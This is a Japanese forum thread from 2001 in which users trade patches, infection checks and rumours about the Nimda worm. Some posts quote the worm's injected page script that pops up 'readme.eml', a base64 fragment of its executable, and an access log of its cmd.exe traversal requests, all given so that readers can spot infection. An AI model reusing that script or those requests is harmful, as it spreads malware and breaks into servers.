> http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS01-020
>
> 直リン
> IE5.5用
> http://a148.ms.a.microsoft.com/f/148/1611/2h/download.microsoft.com/download/ie55sp1/secpac17/5.5_SP1/WIN98Me/ja/q290108.exe
> IE5.01用
> http://a120.ms.a.microsoft.com/f/120/1611/2h/download.microsoft.com/download/ie501sp1/secpac17/5.01_SP1/WIN98/ja/q290108.exe
>
> なるほど、まるごとアップデートしなくても、これでOKなのですか…

ってあるから、このパッチだけでいいみたいですよ…

＞J6gqWM9Q
友達いないの？
もう２度と、こなくていいよ〜。
nanasisanのように、われわれ初心者に丁寧に答えてくれている方に（感謝!）
対しての攻撃見てると、ウザイというより悲しすぎ。雰囲気読めよ。
煽るだけでくその役にも立ってないお前は、逝ってよし。
あ、もしかして、かまってほしいためのネタか?

>>1の前スレがおかしいね。

前スレ
MSNにウィルス添付？
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776


結局昨日から一睡もできずに、会社のサーバーの修復作業に入る。
被害が酷く、諦めて再インストールするはめになりました。
この際Linuxに移行したいのだけど会社の諸事情で出来ず、
結局Win2Kサーバーにすることに・・・

しかし、メールのやり取りがしばらく出来ないのは不便過ぎる。
はぁー。散々な一日でした・・・

>ＩＥ５．０です。
>昨日の晩、クラックされたどっかの大学のＨＰをエロサイト対策と
>同じ装備で見に行ったんだけど、大丈夫だったよ。
>半角板に感謝（藁

どんな装備か教えてくんろ

ここまで読んだ。
どうやら祭りのようだねﾜｼｮｰｲ!

だー！！
おりゃーもうあきらめただ。

感染したらしょうがない。
ＩＥ６が落とせないんだもの・・・
会社のパソコンだしもういいや！

出てた、IPA、まだみてないけど、
情報の参考に、

http://www.ipa.go.jp/security/topics/newvirus/nimda.html

Windows6.0ならだいじょぶなようだけど、
Windows6.0betaじゃだめなの？

>>706
>>701に書かれてるパッチだけでも入れておくと良いのでは。

>>708
WindowsXPのこと？

>>710 ネタか？

>>706
あんたが良くても回りは迷惑。

□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
□□□□□□□□□□□■□□□□□□□□□□□□□□■□□□□
□■□□□□□□□□□■□□□□□□□□□□□□□□■□□□□
□■□□□□□□□□□■□□□□□□□□□□□□□□■□□□□
□■□□□□□□□□□■□□□□■■■■■■■■□□■□□□□
□■□□□□□□□□□■□□□□■□□□□□□□□□■□□□□
□■□□□□□■■■□■□□□□■□□□□□□□□□■□□□□
□■■■■■■□□□□■□□□□■□□□□□□□□□■■■■■
□□□□□□□□□□□■□□□□■□□□□□□□□□■□□□□
□□□□□□□□□□□□□□□□■□□□□□□□□□■□□□□
□□□□□□□□□□□□□□□□■■■■■■■■□□■□□□□
□□□■■■■■■■■■□□□□□□□□□□□□□□■□□□□
□□□■□□□□□□□■□□□□□□□□□□□□□□■□□□□
□□□■□□□□□□□■□□□□□□□□□□□□□□■□□□□
□□□■□□□□□□□■□□□□□□□□□□□□□□■□□□□
□□□■■■■■■■■■□□□□□□□□□□□□□□■□□□□
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
http://kr.dailynews.yahoo.com/headlines/tc/20010919/maeilbiz/ma2001091907769.html

＠＠＠＠＠＠＠＠ここまで読んだ＠＠＠＠＠＠＠＠
　　　　　　　　　　　　りゅうくん専用

ﾖｶﾀﾖ・・・前にIE5.5SP2落としといて・・・

>>709
ありがと。


ちゃうねん、ファイルＤＬできへんねん。
なんか設定おかしいんかな？
もう何十回も試してるねんけど・・

>>708>>710
ネタか？

減ってきたと思ったのに、また増え始めた(;´Д`)
http://search.fresheye.com/?kw=readme.eml&term=monthly

>>715
　今回のウイルス対策でDL不許可にしてあるんでない？

>>715
設定まわりを確認した方がよいかも。

あと、会社内とかだと皆が一斉にダウンロードを始めている可能性アリ。
けっこういろんなメールマガジンとかで警告してるみたいだし。

msnなんてみてるのは初心者かＤＱＮの証拠。
設定の仕方を知らないだけ。
あんな、偏った編集方針のＨＰを喜んでみているヤツは国賊。

ひょっとして、これってオサマの仕業なの？
それと、このﾈﾀがいしゅつなの？

>>718
ＤＬする前にはセキュリティリセットしてあるんだよ〜。
ﾎﾝﾄに不思議。ファイル落とせないパソコンになてる。

>>719
周りはＭＡＣばっかなので関係無いらしい。
さっき、怖くなって雑誌買ってきてＩＥ５，５入れなおしました。
でも、Ｖｅｒ見てもＳＰ２付いてないですし。

>>161
ぜったいある。普通はwavなかったらおかしい。
つまり、それは感染している証拠にならない。

>>717
ハイクオリティファッションヘルス「GII」
↑
やられてる。
スケベ〜なヤツは気をつけろ。

>>723は誤爆。逝ってきます・・・

IE6.0ダウソできた。時間かかったけど｡

>>723
そうなんですか、有難うございます。

riched20.dllを叩き消したんだけど、なんか問題起こるの？

若い女性のセックスを５年間禁止　スワジランド

　南部アフリカの王国スワジランドからの報道によると、同国政府はエイズ対策のため、
若い女性のセックスを５年間、禁止すると発表した。
　男性と握手することも禁止し、禁を破った男性には牛１頭分の罰金が科せられるという。

ttp://www.asahi.com/international/update/0919/003.html

スポニチの速報でカルーセル麻紀の逮捕を知る。
　　　　　　　　　　↓
２ちゃんの速報板をチェックしてみようと思う
　　　　　　　　　　↓
前スレの存在に気づいて慌てて検索して対策する


正直、カルーセル麻紀メソバーに感謝してる

ウイルス名を逆に読むと、
「Ａｄｍｉｎ（政府）」が「２（ｔｏ）」「３Ｗ（第三次世界大戦）」となることから、
一部には「同時多発テロ事件と関連している」との見方がある。
同長官は「現時点では関連するという証拠はない」と否定した。
ttp://headlines.yahoo.co.jp/hl?a=20010919-00000012-mai-int

アメリカのマスコミはバカすぎ。
ウイルス名に付けるW32ってWindows/32bitの意味だよなぁ。
ていうかウイルス名ってワクチンソフトメーカーとか発見者が付けるんだろ。

　WindowsXP　を　売　る　た　め　の　や　ら　せ　で　す　か　？

カルーセル麻紀て５８才なんだよな・・・
見えねぇよ

http://wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

>>732
俺もちと思った。

自作自演くせー

そう言えばIE4の人はどうするんだろ。
うちのサイトのアクセスログでも4%程度いるけど。
これを機会にIE5かIE6にバージョンアップせにゃならんのか。

>>732
まだ発売日前だろ(w
ほんとにやるんだったら発売直後にやると思われ。

>>736
大丈夫。「重い」ってほどでもない。
Pentium-100MHzぐらいでもだいじょうぶ。

そろそろ　Lynx使いですけど何か？　とか出てきそうだな（´ー｀）y-~~

ネスケで感染サイト見に行った人、キャッシュに*.emlファイル残ってると思うから
不用意に実行／プレビューしないでね。

エディタで開いて

（略）
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID: <EA4DMGBP9p>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO
（略）

こーんな感じの内容があったら速攻削除。
ちなみにキャッシュ内のファイル名ではノートン先生はチェックしてくれませんでした。
ニャロメ

desktop.emlで検索して数百個ＨＩＴしたら確定？

>>732
WindowsXPの値段が発表されたからそうかもしんない
http://www.watch.impress.co.jp/pc/docs/article/20010919/xp1.htm

このスレを見て、.『*.eml』『readme.exe』『MEP51B3.TMP.EXE』検索。ヒット無し。
で、その後ＳＰ２にバージョンアップした後確認のために再度検索。『readme.exe』ヒット！

これってＭＳＮで感染したってこと？

>741
ﾎﾎﾞｶｸﾃｲ

　　　　　　　　　　ヽ(`Д´)ﾉ　ｶﾝｾﾝｼﾁｬｯﾀﾖ!!
　　　　　　　　　　　 （　　）　　 ｳﾜｧｧﾝ!!
　　　　　　　　　　　　/　ヽ

　＿__|￣|＿_　|￣|　|￣|　＿__|￣|＿__　　|￣￣￣|
　|　 ＿＿ 　|　|　.|　|　 |　|＿__　　＿__|　|￣￣￣￣|
　|___|　　./　|　|＿|　| 　|　　　｜　|　　　　￣￣|　　/ ／／
＼ 　__／　/＼　 ＿/　｜　___/　｜　　　　_＿/ 　/ ／／
＼＼|＿／＼ 　|＿__／　　|＿__／／／　|＿＿__/／／／
＜　　　 　／）__∧　　　 Λ＿Λ　 　　∧__（＼ 　　　　＞
＜　　　　 |　|｀∀´〉 ◯< ｀∀´　>◯ 〈｀∀´|　| 　　　 ＞
＜　　 　 （　　　　）　 ＼　　　 ／ 　　（　　　　） 　　　＞
＜　　　／ ／>　>　　　 |⌒I　│　　　く　く＼ ＼ 　　＞
＜　　<_＿ﾌ〈_＿フ　　 （＿） ノ 　　　<＿_,,〉<_＿〉 　＞
　／＿_＿_＿＿　　　　　　レ　　　　＿|￣|＿＿＿＼＼＼＼
／　|＿＿＿_ 　|　|￣|　　／￣|　 |＿　　＿＿　　|　＿＿＿
　 　　|＼_／ 　/　 ￣　／　／　　 　|　 |　　／_ ／　|＿＿＿|
　　　　＼　 ／　|￣|／　／　　　　　 |　|＿＿|　|
　　　　　 ＼|　　＼　　／　　　　　 　|＿＿＿＿|

>>743
本当そうなら大問題では？
どうなんだろ。

>「タスクスケジューラの署名を確認しています」のところまでいくと
>「ファイルをダウンロードできないからもう一度やりなおせ」みたいなメッセージが何度やっても出て来て、
>最後までいかないんだけど・・
と書いている人がいたのですが、私も同じ事が起きてDLできません。
どうしたら良いのでしょう？

>>743
俺はアップデートしても感染しなかったぞ。ついさっきやったばっかりなんだが…。

ファイル検索の結果、
readme.exe=なし
MEP51B3.TMP.EXE=なし
*.eml=1つﾊｹｰﾝ（だがこれは漏れが保存したメール）
という結果。直前にIE5.5SP2を導入した為感染してなかった。

そういえばうちメールでウィルス来たことないんだよなぁ…
いいことなんだがちょっと悲しい…

ぎゃはははは。
MSNJAPANだけじゃなくて
WINDOWSアップデートサーバに接続した奴も感染してるんじゃなーのか?
ぎゃはははははは。ばーか、まぬけだな。おまえら

それでなんでサーバーが重くなるのですか？
初心者ですいません。

ｶﾞｲｼｭﾂだったらｽﾏｿ。

感染したHPの最後には

<html><script language="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script></html>

っていう記述が挿入されている。
これによって"readme.eml"が別Windowで起動して、同時にReadme.exeがDLされる。

だったら、ｽｸﾘﾌﾟﾄの実行を不許可にしておけば、IEのﾊﾞｰｼﾞｮﾝあげなくても
大丈夫なんじゃない？

漏れって浅はか？

>>748
初心者向けスレで、セーフモードならインストールできるって書いてあるよ。

>>751
Linuxの某の開発に携わっている者として恥ずかしいな・・

>>752
急いでアップデートしようとしている人で混んでいます。

>749
俺も今5.01SP2にしたばっかりだけど大丈夫だったYO!
ネタだろ。

>>751
だめ人間だもの…

いっその事IE6にしてみようと落としてるんだけど、20Mは結構な量だな。

感染している場合、readme.exeってどこに保存されるの？

＞７５４
それがね、それでも出来ないの・・・

>>743 >>756
たぶん他のページで感染したか、もしくは会社内とかでProxyのキャッシュに
残っていたものをダウンロードしてしまったのではないかと。

俺も今5.5SP2にした。恐いね。

確認って、バージョン情報の更新バージョンがSP2ならいいんでしょ？

あと、感染するのはMSNのトップページだけ？
昨日WinXPの特集ページ見ていたんだが…

>>762 OK

>>762
Yes.

gooとかgoogleとかは大丈夫かな。gooのフリーメール使ってるけど、
開くの怖いな。

>>763
ヤマほどある。一例として
http://www.stride.co.jp/~z32/cgi-bin/worm.cgi

Script切ってMSN見てくるか…

>>763
MSNに限らずあちこちに蔓延するモノ（すでに蔓延している）なんで、
念のためウイルスチェック（最新のパターンファイルで）をしておくとよい。
あとreadme.exeのファイル検索も。

利用法とも引っかからなければおそらく大丈夫。念には念を入れておくのが良いでしょう。

>>752
NimdaはIISサーバーに感染した場合、他のIISサーバーに
自己複製しようとして、侵入用のリクエストを自動的に
打ちまくる。たとえそれがIISサーバーではなくてApache
だろうと、なんだろうとおかまいなし。

感染が広がってリクエスト量がネットに広がれば広がるほど
混雑が増す、というわけ。もちろんサーバー自体攻撃するほうも
されるほうも処理が増えるから遅くなるし、クライアントがNimdaで
送信するメールもその混雑を増加させる。

百害あって一理無し。

743 ：ｗｉｎ９８、５.５ＳＰ１使用 ：01/09/19 14:29 ID:e2EuAUw2
このスレを見て、.『*.eml』『readme.exe』『MEP51B3.TMP.EXE』検索。ヒット無し。
で、その後ＳＰ２にバージョンアップした後確認のために再度検索。『readme.exe』ヒット！

これってＭＳＮで感染したってこと？

756 ：　 ：01/09/19 14:38 ID:FfVSsuh6
>749
俺も今5.01SP2にしたばっかりだけど大丈夫だったYO!
ネタだろ。

5.01SP2と5.5SP2って違う場所からダウンロードじゃなかった
でしたっけ？それならば5.01はOKってことだったら、やばいですよね…

>>769
誤字。"利用法" -> "両方"

>>764-765ありがと。
あと、VBのオンラインスキャンってもう対応してる？
それとも、自分でreadme.exe検索したほうが(･∀･)ｲｲ？

>>767
なんか、かなーり増えてる気がする

あほだなおまえら。スクリプトOFFにしたらMSNはみれないんだYO。
だから、ばかみたいにひっかかるだろ。

>>769
ありがと。

>>728
# 誰も書いてなさそうなのでお返事。
riched20.dllはワードパッドとか複数のアプリケーションで使われています。
従って、消してしまうとそれらのアプリケーションが動かなくなってしまったり、
表示がおかしくなってしまったりします。

実家で親がＰＣ買って楽しそうにネットサーフィンしてるけど…
どうやって親に説明したもんかな。

直接出向いて設定したほうが安全か。

落ち着こうよ。
要はｽｸﾘﾌﾟﾄ切っとけばとりあえず大丈夫なんだろ？

見れなくなるﾍﾟｰｼﾞも出てくるけど、感染の確立はないはず。
慌ててﾊﾞｰｼﾞｮﾝｱｯﾌﾟする必要ない気がするんだが。

みんなで微妙に不安を煽ってないか？
ま、2chだからそれが正しいのかもしれないけどね。

>770
coderedの時も不要なトラフィック増えたけどこんどのNIMDAはそれ以上に
不正アタックがきてる。まだ一日たってないのにこの普及の速さは驚異的。

IISをつかってる人は管理スキル低すぎる。

IIS使ってるcodered対策もしてない糞管理者は逝ってよし

■感染チェック
１．『*.eml』『readme.exe』『MEP51B3.TMP.EXE』の検索でHIT
２．9/19以降にパターンファイルを更新したNortonAntivirus2001でチェック
　　→readme.exe, readme.emlの感染チェック可能
３．トレンドマイクロのオンラインスキャン実行
http://www.trendmicro.co.jp/hcall/scan.htm
　　→readme.exeの感染チェック可能
■クライアント側の対処
・ブラウザ 対処方法
IE5.0、5.01、5.02、5.5ユーザ：Windows98/Me/2000用IE5.5SP2へのアップデート
http://www.microsoft.com/downloads/release.asp?releaseid=32082
IE5.0、5.01ユーザ：Windows98/2000用IE5.01SP2へのアップデート
http://www.microsoft.com/downloads/release.asp?ReleaseID=28910
IE6.0の導入
http://www.microsoft.com/windows/ie_intl/ja/download/default.htm
上記以外の人は、アップデート作業を http://windowsupdate.microsoft.com/?IE で行う。
■サーバ側の対処
１． MS社のセキュリティパッチ導入
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078
■ウィルスチェックソフトのパターンファイル更新
■最低限の常識
・見知らぬファイルのダウンロードや実行は行わない
■参考情報
symantec社 http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
Trendmicro社 http://www.trendmicro.co.jp/virusinfo/troj_nimda.htm
日本ネットワークアソシエイツ社 http://www.nai.com/japan/virusinfo/virN.asp?v=W32/Nimda@MM
MSN http://help.msn.co.jp/notice.htm

>>782 感染経路はそれだけじゃない。ちゃんとパッチあてて
対策するように。

ソースをみるアドレスってなんだったっけ？
○○○:http://www.honyarara.com/ってな具合の奴。

UNIXサーバにも感染したという未確認情報。

>>779
慌ててバージョンアップする必要は必ずしも無いだろうな。
あまり煽るのは良くないってのも同意する。
オイルショックのようなパニック状態を防ぐという意味でも。

>>784
view-source

>>785
マジ？

>>771
5.5sp2ﾀﾞｳｿしたけど、平気だよ。
>>743
LAN内感染？

>>787
おお、サンキュ。

未確認情報ってのはなんとなくそうおもったってこと？

>>785 >>788
十中八九ネタ。今回のウイルスでない別のウイルス（ワーム）に感染したというのなら話は別だけど。

>>785
ソース出してくれ。

>>785はネタなんだからうだうだ言うな。。

サーバーが感染したときの現象を実体験からちょっと・・・

exchsrvr以下の「〜.exe」や「〜.dll」ファイルが、
ことごとく79225bytesの「〜.eml」に改ざんされていた。

感染したら、ほとんど再インストしか方法がないね、おそらく。

>１．『*.eml』『readme.exe』『MEP51B3.TMP.EXE』の検索でHIT
やっぱ「名前で検索」より「含まれる文字列」で検索でしょうか？

『*.eml』を含まれる文字列で検索したところ、３つのファイルがヒット。
いずれも『*.eml』の文字列が無い、一見普通のファイルなんですが・・・。

>>796
「含まれる」でやると、ファイルの中の内容を読みに行くんだと思う。
だから、ファイル名が*.elmでなければ大丈夫なはず。

感染してるかどうかってどうやつて調べるの？

win95てsp2対応してないのかな？
http://windowsupdate.microsoft.com/?IEで更新できない

>>798
オンラインスキャンで調べると良い。駆除は出来ないけど。
http://www.trendmicro.co.jp/hcall/scan.htm

感染したクライアントから感染してないIISにアクセスするとIISは感染するの？

>>797
即レスありがとうございます。
ｶﾅｰﾘ安心しました(´ー｀)ﾉ

誰か助けて。
http://ton.2ch.net/test/read.cgi?bbs=sec&key=999405173&st=257&to=259&nofirst=true

>>801
IISがパッチ適用済みでなければ感染する可能性があります。

>>804
ども、やっぱクライアントからも攻撃パケットおくるのか。たちわりーな。
当分沈静化しそうにないな

VB2001使ってるんだけど、「パターン番号941から対応」、とトレンドマイクロのページに
書いてるのだけど、アップデートしようとしても更新されないのはなぜでしょうか...。

>>806

>>803の症状？

>>803 >>806
インターネットにアクセスするのにproxyを使ってない？
無くてもアクセスできる環境ならproxyを外すと良い。

>>806

941に更新されたけど？　つーか、俺のところはエンジンがアップデートしてくれない。なぜだ。

>>782
の内容で先頭の検索、
「*.eml」ってのは意味ないだろ…修正しておいてよ、貼ってる人…

なんとなくhttpd起動してみた。

オプション プロクシ/キャッシュのアクセス制御タブを、
アクセス許可=127.0.0.1
アクセス拒否=*.*.*.*
にしたが、これで簡易ファイアウォールになったのかな？

今日飛び降り自殺します。
http://news.2ch.net/test/read.cgi?bbs=news&key=1000876861します。

ブラウザはfubでオミトロン使用。

オミトロンを落としてブラウザの設定もproxy切ってやってみたけどダメ。
ちゃんとキャッシュされないっぽい…。

>>809

アップデートには登録が必要です。
（体験版の方、割れてる方、シリアルﾊﾟｸってる方は使えません）

ひょっとして漏れは間違ったことをしているのだろうか…
いや、きっとそうだろうな（ｗ

>>785
http://home.jp.FreeBSD.org/cgi-bin/showmail/FreeBSD-users-jp/64371
これ？

>>814
シリアル番号確認サイトってのがある。ここでチェックすると良いのでは :-)
http://inet.trendmicro.co.jp/customer/serialform/index.asp

>>806
俺もアップデートされない。なぜなんだろう。９月１４日でパターンファイルの更
新が止まっている。

オンラインスキャンでドライブ全体を検索したが
ウイルスの感染はしていない。（パターン941で）
さらに、ハードディスク内について以下条件でファイル検索したが
見つからない
*.eml
readme.exe
MEP51B3.TMP.EXE
でも、再起動するたびＣドライブが無条件で共有になる・・
ＯＳはＷＩＮ２Ｋで前から5.5のＳＰ２です。
同じ症状方います？

>>806と>>818は
>>803を読んでみてくれ。
症状は同じ？

>>807 >>808 >>809
即レスありがとうございます。>>813さんと同じようにproxy切っても
無理みたいです..。

実は数日前からこの症状が出てた。
たぶん>>818と同じ9/14くらいから。

>>819
"C$" という名前でCドライブが共有されるのはWindowsのデフォルトの動きだ。
今回のウイルスとは無関係。

>>820
ありがとう。俺の場合、途中までのダウンロードすらしない。最初は混んでるのか
と思っていたが。ちなみに、ユーザー登録はしてる。自分で購入したから。

VB2001をさっき再いんすとろーるしたから
いつからアップデート失敗してるかはログが残ってないけど。

ログにこんなのが2件ほど。
------------------------------------------------------
64.107.156.243 - - [19/Sep/2001:15:03:03 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 240
64.107.156.243 - - [19/Sep/2001:15:03:04 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 215
64.107.156.243 - - [19/Sep/2001:15:03:05 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 215
64.107.156.243 - - [19/Sep/2001:15:03:06 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 215
64.107.156.243 - - [19/Sep/2001:15:03:07 +0900] "GET /scripts/..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
64.107.156.243 - - [19/Sep/2001:15:03:08 +0900] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
64.107.156.243 - - [19/Sep/2001:15:03:09 +0900] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
64.107.156.243 - - [19/Sep/2001:15:03:10 +0900] "GET /msadc/..%5c../..%5c../..%5c/..ﾁ../..ﾁ../..ﾁ../winnt/system32/cmd.exe HTTP/1.0" 400 206
64.107.156.243 - - [19/Sep/2001:15:03:10 +0900] "GET /scripts/..ﾁ../winnt/system32/cmd.exe HTTP/1.0" 400 206
64.107.156.243 - - [19/Sep/2001:15:03:11 +0900] "GET /sc?/c+dir HTTP/1.0" 404 215
64.107.156.243 - - [19/Sep/2001:15:03:12 +0900] "GET /scripts/..?../winnt/system32/cmd.exe HTTP/1.0" 400 206
64.107.156.243 - - [19/Sep/2001:15:03:12 +0900] "GET /scripts/..?../winnt/system32/cmd.exe HTTP/1.0" 400 206
64.107.156.243 - - [19/Sep/2001:15:03:13 +0900] "GET /scripts/..5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
64.107.156.243 - - [19/Sep/2001:15:03:14 +0900] "GET /scripts/..5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
64.107.156.243 - - [19/Sep/2001:15:03:15 +0900] "GET /scripts/..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
64.107.156.243 - - [19/Sep/2001:15:03:15 +0900] "GET /scripts/..%2f../winnt/system32/cmd.exe HTTP/1.0" 404 215

>>823
さんくすです。
よかった

>>803
「ログの表示」でいつから更新が止まってるかわかるよ。

トレンドマイクロに電話殺到。

>>819
同じ状態です。
でもそれって確かもともと、W2Kでadministratorまたはそれと同等の権限をもつ
ユーザでログオンするとそうなったんじゃなかったかな？

「マイネットワーク」で自分のＰＣみて、Ｃドライブが見えてなければ
大丈夫なはず。

>>803
ごめん。次の書きこみ読んでなかった。再インストールしかないのかな。

ちなみにうちはWin98だから↑のは関係ないよね？

>>828
再いんすとろーるしたからログ残ってないよ。
そうでなくても定期的にログ消してたし。

スレッド一覧クリックしたら、
文字化けしたぞ！！！！
おれだけか？？？

『*.eml』『readme.exe』『MEP51B3.TMP.EXE』がどれも出てこなくて、http://www.trendmicro.co.jp/hcall/scan.htmでも
見つからなかったけどとりあえず安心していいかな？

ごめん >>819
>>823 のゆーとーり。

ＷＩＮＭＸはだいじょうぶですか？

鯖が妙に重いんだが…
ウィルスのせい？

　

たのむ誰か、相撲取りがくみあってキスしてヘンな音楽流れてる
ブラクラたのむ！！

現象を詳しく書くと、
タスクトレイにあるVB2001アイコンを右クリック-「メイン画面を起動」
「アップデート」でアップデートボタンをクリック。
するとカプセルがチラチラしだしてファイル検出を始める。
ダウンロードし始めるのかな？と思うとキャッシュを探し出してきて
ダウンロード終わっちゃう。インストールには進まない。

>>835
ほぼ安心できると思います。あとは別のウイルスやワームに引っかからないように
常日頃からのチェックが大事。

ネットワークのエラーとか、そういう類のアラートは出ない。

VB2001、漏れも9/14頃からアップデートできなかったけど、
昨日やってみたらどういうわけかできちゃった。
何でだろ？

しかもアップデートボタン押して5分くらいしてからダウソ
開始されて、さらに5分くらいかかってダウソ終了。

・プログラムバージョン　　8.06 Build1167
・エンジンバージョン　　　5.46
・パターン番号　　　　　　940

>>803
うちも全く同じ。別におかしなことした覚えはないんだけどね。

>>844
パターンファイルは "941" が最新です。
再度アップデートしてみることをお勧めします。

>>844
そうなんだ。でも、俺の場合、ボタンが「アップデート」に戻るから作業を中止
してるっぽい。

ザ・ワイドでやるぞ！

ニッテレ見れ

わいどみろ！

もう一度アップデート試したら、「プロクシ・・・」とか出た。エラーには
違いないが、前に進んだ気がする。書きこむため、クッキーＯＮにしてるからか
な。

ウイルス草野！

THE WIDE見るべし。
MSのウィルスこれからやるよ。

>846
いや、ところが940から941にアップデートしてくれないんだわ（ｗ
どうしたものか・・・

http://www.stride.co.jp/~z32/cgi-bin/worm.cgi

ここに晒されている鯖一覧の増加スピードこわいよ…

２チャンでるか？

THE WIDEはじまったね。
ニムダってハングル？

おーでたでた。

今、日テレでやってる！！

ワクチン出たのか

はやっ

ワクチンが出来てたのか

>>855
出なかったね。ちょっと残念ニダ。

おわるのがね

うちのIEは4なんだけど、どう？

おわった・・・速報だけだったな。

おかざきじさつか〜

>>853
とりあえずオンラインスキャンを試して見れ。
検出だけは出来るから。

ラディンの仕業か？ネットテロだな

>>856

ｶﾞｲｼｭﾂだとおもうが、
ニムダ -> nimda -> admin

テロと関係あるのか

ワクチンどこに！？

草野の仕業だ

　　)　 /i　　　　　　　　　　　　ヽ:;:::‐‐,ヽ　/
　　ヽ!:::::ﾚ――、　 ,‐''ﾆﾆﾆ''''>　i::::::::r ! !'
　　　 L:::! ir_ﾛ_ﾗ;ヽiirイ iｺ ≧:　　 !::::::!j i
　　　　!:::!　　ｦ‐)| i|　｀二ﾆ　　　 |::::::ﾉ r!
　　　　 !;;;iイ　ノ ! γヽ_　　　　　.:;ii i i　i.　　　／￣￣￣￣￣￣￣￣￣￣￣
　　　　　; ﾊ　　ﾄ,、_, r´‐、、　;;i:::::::;;! |　|　　　|
　　　　　｀;;;ヽ (;;;;;;;;;_:_:;,,＞jヽ;;;;;;;;;;;;;! i　 i　　＜　濡れ衣ムカつく。
　　　　　 :>::;;;iiﾄ;;;;,,,,,,,,,,;;;｀｀;;ii;;;;;;;;:::::|　　.|　　　|
　　　 _／,　;:::::ヽ;::::::';:.,;:::..::::::::::::::;;;::i　　 ト―.　＼＿＿＿＿＿＿＿＿＿＿＿＿

各ソフト用の定義ファイルは出てるけど、
駆除ツールはまだ出てないよな？

＞駆除:
＞Symantec Security Responseは、
＞このワームの駆除に必要な手順を調査しています。

１０００

>>869
さんくす。
ウリがネットにつないでいるのはまくだけなので、
この関係のスレ読んでなかったニダ。

ワクチンはどこにあるのかね？

ホットメールも危険なの、今？

>>877
対策ができたらどっかで駆除ツールが出ると思われ。

VB2001のアップデート関係はちょっと移動しよう。
こんなスレ見つけた。

トレンドマイクロのウィルスバスター２００１
http://mentai.2ch.net/test/read.cgi?bbs=bsoft&key=977579515

IE3は？だいじょうぶ？

>>881
IE3Java古いからどうかな・・・たぶん実行されないかな?

>867
さっきやったよ。

先月からIE5.5SP2使ってるし、今朝IE6にアップデートしたから
大丈夫だよ多分。JavaもJavaScriptもいつも切ってるし。

再起動する度にmepが作成される

>>881
IE3.02だとMSNが殺風景だった気がするよ

近所に来てる移動アイスクリーム屋がうるさくてしょうがない。
メリーゴーランドみたいな音楽をガンガン鳴らしてる。
死んでくれ。

882の追加。
感染サイト行ってもダウンロード拒否すれば大丈夫。

>>882
4は？
つかJavaで実行されるの？Javascriptじゃないの？

ニュースサイトが感染しているらしいが、
感染したリストない？

>>834
＞スレッド一覧クリックしたら、
＞文字化けしたぞ！！！！
フレーム単独で開いている状態で、subback.htmの拡張子をhtmlに変えて
読み込みし直すとちゃんとしたのが見れるYO！
先日の２ちゃんのシステム改変時に、htm→圧縮ファイル、html→非圧縮
ファイルって事になったらしく、前者の場合は環境によっては文字化けする
みたいdeath。詳しいことは全然知らないけど。

IE6にしてたのにヤラレタ。
ウイルスバスターで一応の駆除はしたが…。
サイト周りはしてなかったのに。
メールでばら撒かれたのかな。

>>888
javascriptで実行される。JAVAじゃない。
4は多分感染する。
だけどJavascript切れば大丈夫だって。

http://www.stride.co.jp/~z32/cgi-bin/worm.cgi

↑ここ全然開かない。それと、見て大丈夫かな。

>>888
不安ならJavaもJavascriptも切っとけ。

>>891
IE6で駄目なの？
IE5.5SP2なら大丈夫？

win98は大丈夫なの？

>>803
ありがとう。そっちのスレの動きもチェックするよ。

スーパー初心者のためのＭＳＮウイルスすれ。
http://news.2ch.net/test/read.cgi?bbs=news&key=1000867662

一応貼っとくね

農水省、中日新聞、山梨大学やばいそうですｂｙTBS

>>893
見ても大丈夫だけど、ちょっと前から開けなくなった。
混みすぎて落ちたかな？

これを機にMa.....

>>896
IEが5.01SP2または5.5SP2かネスケ使ってるなら一応大丈夫。
ただ、念のためJavascript切っとけ。

とりあえずIE6入れてみた。

http://www.msn.co.jp/home.htm
MSNあんだけウィルスばらまいといて、トップページしらーっとしてるね。

>>903
６は駄目って上の方で言ってるよ

>904 まったくだよね。

>>900
ありがとう。

>>899
山梨学院じゃないかな？
http://headlines.yahoo.co.jp/hl?a=20010919-00000002-vgb-sci

本当の前スレ
　MSNにウィルス添付？
　http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776

セキュリティ板
　http://news.2ch.net/test/read.cgi?bbs=news&key=1000867662

>>903
６でもｾｷｭﾘﾃｨ関係全部ONだと感染するらしい。
とりあえず、JavaScriptは切れ！
で、DLとかActiveXとかも常識としてﾒｯｾｰｼﾞ表示にしろ！

>>883
>先月からIE5.5SP2使ってるし、今朝IE6にアップデートしたから

どうやってやるの？

Javascriptを切るってどうすればいいの？

前スレ見ようと思ったらなんか違うぞ・・・

ＭＳＮ見ても、だいじょぶ？

>>895
バスターでチェックしたらリードミーの実行が出てきた。
メールから感染したと思われる。
